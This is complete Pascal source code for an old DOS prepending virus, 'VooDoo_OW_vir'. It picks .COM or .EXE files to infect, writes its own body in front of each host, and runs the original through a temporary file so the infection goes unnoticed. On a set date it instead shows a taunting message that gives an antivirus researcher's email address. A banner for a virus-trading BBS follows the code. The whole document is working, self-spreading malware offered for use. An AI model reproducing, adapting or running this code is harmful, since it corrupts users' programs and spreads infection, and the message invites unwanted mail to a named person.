

program VooDoo_OW_vir;

uses dos;

CONST VIRSIZE = 4745;

var s     : searchrec;
    fname : string;
    buf   : array[1..VIRSIZE] of byte;
    buf2  : array[1..VIRSIZE] of byte;
    f     : file;
    y, m, d, dow : word;
    p     : pointer;
    l     : longint;

procedure Infect(s : string);

begin
   GetMem(p, 65535);
   assign(f, paramstr(0));
   reset(F, 1);
   blockread(f, buf, VIRSIZE);
   close(f);
   assign(f, s);
   reset(f, 1);
   l := filesize(f);
   blockread(f, p^, l);
   seek(f, 0);
   blockwrite(f, buf, virsize);
   blockwrite(f, p^, l);
   close(f);
   Freemem(p, 65535);
end;

function Searchfile : string;

var foundit : boolean;
    w : word;

begin
   foundit := FALSE;
   FindFirst('*.com', archive, s);
   repeat
      FindNext(s);
      if s.name <> 'COMMAND.COM' then begin
      assign(f, s.name);
      reset(f, 1);
      blockread(f, buf, 3);
      if (buf[1] <> byte('M')) and (buf[2] <> byte('Z'))
      and (filesize(f)>2048) and (filesize(f)<32768) then foundit := TRUE;
      close(f);
      end;
   until (doserror <> 0) or (foundit = TRUE);
   if foundit = false then begin
      findfirst('*.exe', archive, s);
      repeat
         findnext(s);
         assign(f, s.name);
         reset(f, 1);
         blockread(f, buf, 3);
         close(f);
         if buf[3] <> $89 then foundit := TRUE;
      until (doserror <> 0) or (foundit = TRUE);
   end;
   if foundit = true then Searchfile := s.name else Searchfile := '';
end;

begin
   GetDate(y, m, d, dow);
   if (m = 8) and (d=19) then begin
      writeln;
      writeln('Do ya know it''s Vesselin Bontchev''s birthday 2day?');
      writeln('He studies how 2 kill virii like this 1..');
      writeln('Yar probably happy that there r people like him.. so..');
      writeln('why not write him a birthday message.. the adress is :');
      writeln;
      writeln('BONTCHEV@BIHH.INFORMATIK.UNI-HAMBURG.DE...');
      writeln;
      writeln('Just remember 2 say we put ya up 2 it... :-)');
      writeln;
      writeln;
      writeln('Bontchev''s Birthday (c) [VooDoo]-');
      writeln;
      halt;
   end else begin
      fname := Searchfile;
{      fname := 'c:\saddam\mode.com';}
      if fname <> '' then
      Infect(fname);
      GetMem(p, 65535);
      assign(f,  paramstr(0));
      reset(f, 1);
      l := filesize(f);
      blockread(f, buf, virsize);
      blockread(f, p^, l-virsize);
      close(f);
      assign(f, 'temp.com');
      rewrite(f, 1);
      blockwrite(f, p^, l-virsize);
      close(F);
      FreeMem(p, 65535);
      exec('temp.com', paramstr(1)+' '+paramstr(2)+' '+paramstr(3));
      assign(f, 'temp.com');
      erase(f);
      close(f);
   end;
end.



;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
